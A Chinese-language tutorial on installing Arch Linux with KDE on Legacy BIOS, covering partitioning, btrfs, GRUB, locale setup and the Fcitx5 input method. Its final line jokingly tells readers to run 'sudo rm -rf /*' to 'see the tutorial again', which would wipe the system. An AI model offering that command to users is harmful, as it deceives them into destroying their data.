Arch Liunx (Legacy BIOS)

Arch Linux安装教程 (以Legacy BIOS为例) 最后更新于2023年01月06日

1.Arch Linux & KDE 的安装及配置——

零、系统镜像的下载 & 安装介质的制作 & BIOS 的设置

点击此处下载系统镜像校验SHA256镜像的完整性。校验无误后,使用Ventoy制作安装介质。(如果是首次使用Ventoy,请点击此处查看使用方法)然后进入BIOS,将安全启动和快速启动关闭并将安装介质(如U盘)设置为第一启动项,并按F10保存退出。进入ArchLinux安装盘即可。

如果设备中包含NVIDIA显卡,请在进入liveCD的GRUB引导界面时按下键盘上的字母E,进入GRUB的编辑模式。在其linux行的末尾加入nouveau.modeset=0来屏蔽NVIDIA开源驱动。否则会出现加载nouveau模块报错和其他模块无法加载的问题。编辑完成后按CTRL+X退出。

如有疑问请参考Wiki以下章节:

获取安装映像

准备安装映像

启动到Live环境

一、验证引导模式 & 联网 & 换源:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ ls /sys/firmware/efi/efivars
#验证引导模式(如果目录不存在,即为Legacy BIOS引导模式;反之,请使用隔壁以UEFI为例的教程)

$ iwctl
#运行iwctl(如果是台式机,可直接跳到ping -c 5 archlinux.org这一步)
[iwctl]# device list
#列出WiFi设备(一般为wlan0;这里以wlan0为例)
[iwctl]# station wlan0 scan
#扫描网络
[iwctl]# station wlan0 get-networks
#列出可用网络
[iwctl]# station wlan0 connect X
#连接到X(X改成你可用的WiFi名称并在回车后输入密码且确保密码输入正确)
[iwctl]# exit
#退出iwctl

$ ping -c 5 archlinux.org
#检查网络连接(如果有输出内容,即为联网成功)

$ reflector --country China --save /etc/pacman.d/mirrorlist
#换源(注意大小写)

$ systemctl stop reflector
#关闭reflector服务

$ vim /etc/pacman.d/mirrorlist
#编辑/etc/pacman.d/mirrorlist文件,保留自己需要的源(一般推荐使用中科大源或清华源)

$ timedatectl status
#检查服务状态

如有疑问请参考Wiki以下章节:

验证引导模式

连接到因特网

选择镜像reflector

更新系统时间

二、分区 & 挂载:

以下分区和挂载相关步骤是以SATA协议硬盘为例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
$ lsblk
#查看硬盘名称(一般为sda;这里以sda为例)

$ fdisk /dev/sda
#使用fdisk对sda进行相关操作
#步骤如下:
Command (m for help): o #输入o新建MBR分区表
Command (m for help): n #输入n创建新分区
Select (default p): p #这里按Enter键创建主分区(如果想创建逻辑扩展分区请输入e)
Partition number (1-4, default 1): #这里按Enter键
First sector (2048-X, default 2048): #这里按Enter键
Last sector, +/-sectors or +/-size{K,M,G,T,P} (2048-X, default X): +10G #输入+10G
Command (m for help): t #输入t更改分区类型
Hex code or alias (type L to list all): 82 #输入82,创建swap分区
Command (m for help): n #输入n创建新分区,然后一直按Enter键,把剩下的空间全部分配给/分区
Command (m for help): w #输入w写入

$ lsblk
#查看分区结构是否正确

$ mkfs.btrfs -L ARCH /dev/sda2
#将sda2格式化为btrfs,创建标签为ARCH(注意大小写)

$ mkswap -L SWAP /dev/sda1
#将sda1设置为swap,创建标签为SWAP(注意大小写)

$ mount -t btrfs -o compress=zstd /dev/sda2 /mnt
#将sda2挂载到/mnt目录并创建btrfs子卷
#步骤如下:
btrfs subvolume create /mnt/@ #创建/目录的btrfs子卷
btrfs subvolume create /mnt/@root #创建/root目录的btrfs子卷
btrfs subvolume create /mnt/@home #创建/home目录的btrfs子卷
umount /mnt #卸载/mnt目录
mount -t btrfs -o subvol=/@,compress=zstd /dev/sda2 /mnt #挂载/目录的btrfs子卷到/mnt目录
mkdir /mnt/root #创建/mnt/root目录
mount -t btrfs -o subvol=/@root,compress=zstd /dev/sda2 /mnt/root #挂载/root目录的btrfs子卷到/mnt/root目录
mkdir /mnt/home #创建/mnt/home目录
mount -t btrfs -o subvol=/@home,compress=zstd /dev/sda2 /mnt/home #挂载/home目录的btrfs子卷到/mnt/home目录

$ swapon /dev/sda1
#激活sda1为交换分区

$ lsblk -f
#查看相应分区的文件系统及挂载是否正确

在pacstrap之前,请再检查一下/etc/pacman.d/mirrorlist文件。例如:cat /etc/pacman.d/mirrorlist或vim /etc/pacman.d/mirrorlist。总之,检查一下这个文件即可。

如有疑问请参考Wiki以下章节:

建立硬盘分区

格式化分区

挂载分区

三、安装基本的包 & 初步配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ pacstrap -K /mnt linux linux-firmware sof-firmware linux-headers base base-devel vim bash-completion networkmanager dosfstools btrfs-progs exfatprogs ntfs-3g pacman-contrib
#安装必要的软件包(注意大小写)

$ genfstab -U /mnt > /mnt/etc/fstab
#生成/mnt/etc/fstab文件(注意大小写)

$ cat /mnt/etc/fstab
#查看/mnt/etc/fstab文件是否正确(如果不正确,请重新分区、挂载、pacstrap)

$ arch-chroot /mnt
#进入目标系统

$ pacman -S grub amd-ucode intel-ucode
#安装grub & amd-ucode或intel-ucode(AMD的CPU安装amd-ucode,intel的CPU安装intel-ucode)

$ lsblk
#查看硬盘名称

$ grub-install /dev/sda
#将grub写入sda

$ vim /etc/default/grub
#编辑/etc/default/grub文件,将GRUB_CMDLINE_LINUX=""修改为GRUB_CMDLINE_LINUX=" nouveau.modeset=0"(没有nvidia显卡可跳过)

$ grub-mkconfig -o /boot/grub/grub.cfg
#生成/boot/grub/grub.cfg文件

$ systemctl enable NetworkManager
#开机自启NetworkManager服务(注意大小写)

$ passwd root
#设置root密码(在回车后输入密码且密码不显示,输入完成后回车,再输入一遍且密码同样不显示,输入完成后再回车,即可完成密码设置)

如有疑问请参考Wiki以下章节:

安装必需的软件包

Fstab

Chroot

安装引导程序

Root密码

四、退出目标系统:

1
2
3
4
5
6
7
8
$ exit
#退出目标系统

$ umount -R /mnt
#卸载/mnt目录

$ reboot
#重启并登陆root

五、系统配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
$ nmtui
#运行nmtui(根据图形界面提示进行联网操作即可;台式机可跳过)

$ ping -c 5 archlinux.org
#检查网络连接(如果有输出内容,即为联网成功)

$ vim /etc/hostname
#创建/etc/hostname文件,加入以下内容:
arch
#将主机名设置为arch

$ vim /etc/hosts
#编辑/etc/hosts文件,在末尾加入以下内容:
127.0.0.1 localhost
::1 localhost
127.0.1.1 arch.localdomain arch
#配置hosts文件,映射IP地址和主机名

$ ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime && hwclock --systohc
#设置时区为上海(注意大小写)

$ vim /etc/environment
#编辑/etc/environment文件,在开头加入以下内容:
export EDITOR=/bin/vim
#设置vim为默认文本编辑器(注意大小写)

$ reboot
#重启并登陆root

$ useradd -m -G wheel arch
#添加普通用户,用户名为arch并将arch添加到wheel组中

$ passwd arch
#设置arch密码(注意事项请参考第三阶段的设置root密码部分)

$ id arch
#查看用户组是否添加到相应的组中

$ visudo
#设置用户权限,删除%wheel ALL=(ALL:ALL) ALL前面的#

$ reboot
#重启并登陆root

$ vim /etc/locale.gen
#编辑/etc/locale.gen文件,删除en_US.UTF-8 UTF-8和zh_CN.UTF-8 UTF-8前面的#

$ locale-gen
#生成语言

$ vim /etc/locale.conf
#创建/etc/locale.conf文件,加入以下内容(如果文件已经存在,则删除文件中原有的内容):
LANG="en_US.UTF-8"
#设置语言为en_US.UTF-8,不要不要不要设置为zh_CN.UTF-8(注意大小写)

$ vim /etc/pacman.conf
#编辑/etc/pacman.conf文件,删除[multilib]区域的所有#(开启32位支持)并在末尾加入以下内容:
[archlinuxcn]
Server = https://mirrors.ustc.edu.cn/archlinuxcn/$arch
#添加archlinuxcn源(一般推荐使用中科大源;注意大小写)

$ pacman -Sy
#同步数据

$ pacman -S archlinuxcn-keyring
#安装archlinuxcn-keyring

$ rm -rf /etc/pacman.d/gnupg && pacman-key --init && pacman-key --populate archlinux && pacman-key --populate archlinuxcn
#生成新的密钥环并重新签署密钥(安装archlinuxcn-keyring不报错时可跳过)

$ pacman -Sy
#再次同步数据

$ pacman -S mesa xf86-video-amdgpu vulkan-radeon xf86-video-ati opencl-mesa opencl-headers
#安装AMD核显相关驱动

$ pacman -S mesa xf86-video-intel vulkan-intel opencl-mesa opencl-headers
#安装intel核显相关驱动

$ pacman -S pipewire pipewire-media-session pipewire-alsa pipewire-pulse pipewire-jack
#安装声音相关驱动

$ systemctl enable bluetooth
#开机自启bluetooth服务

$ reboot
#重启并登陆root

So,Nvidia:FuckYou!

如有疑问请参考Wiki以下内容:

网络配置

时区

本地化

六、安装桌面环境:

1
2
3
4
5
6
7
8
9
10
11
$ pacman -S ttf-dejavu ttf-liberation noto-fonts noto-fonts-cjk noto-fonts-emoji noto-fonts-emoji-blob noto-fonts-extra wqy-bitmapfont wqy-microhei wqy-microhei-lite wqy-zenhei ttf-arphic-extra ttf-arphic-ukai ttf-arphic-uming adobe-source-code-pro-fonts adobe-source-han-sans-jp-fonts adobe-source-han-sans-tw-fonts adobe-source-han-serif-jp-fonts adobe-source-han-serif-tw-fonts adobe-source-han-sans-cn-fonts adobe-source-han-sans-kr-fonts adobe-source-han-serif-cn-fonts adobe-source-han-serif-kr-fonts adobe-source-sans-fonts adobe-source-han-sans-hk-fonts adobe-source-han-sans-otc-fonts adobe-source-han-serif-hk-fonts adobe-source-han-serif-otc-fonts adobe-source-serif-fonts
#安装字体(请根据需要自行补充,这里只安装常用的包)

$ pacman -S plasma-meta konsole dolphin
#安装KDE桌面及软件(这里只安装最必要的包,如果想完整使用KDE的各种功能请根据对应提示安装需要的包)

$ systemctl enable sddm
#开机自启sddm服务

$ reboot
#重启

2.桌面中文环境的设置 & 输入法的安装及配置——

一、中文环境的设置:

System Settings>>Regional Settings>>Language>>Change Language,简体中文>>Apply。

1
2
$ reboot
#重启

如果以上方法出现中英文混杂的情况可尝试以下方法(推荐):

1
2
3
4
5
6
7
8
$ vim .xprofile
#创建~/.xprofile文件,加入以下内容:
export LANG=zh_CN.UTF-8
export LANGUAGE=zh_CN:en_US
#设置X环境为中文(注意大小写)

$ reboot
#重启

二、Fcitx 5 输入法的安装:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ sudo pacman -S fcitx5-im fcitx5-chinese-addons
#安装fcitx5主体、配置工具、输入法引擎及中文输入法模块

$ sudo vim /etc/environment
#编辑/etc/environment文件,在末尾加入以下内容:
GTK_IM_MODULE=fcitx
QT_IM_MODULE=fcitx
SDL_IM_MODULE=fcitx
XMODIFIERS=@im=fcitx
#配置环境变量(注意大小写)

$ sudo pacman -S fcitx5-pinyin-zhwiki fcitx5-pinyin-moegirl
#安装词库

$ reboot
#重启

END(想再看一遍本教程吗?那就请在终端中输入sudo rm -rf /*,你会回来的。)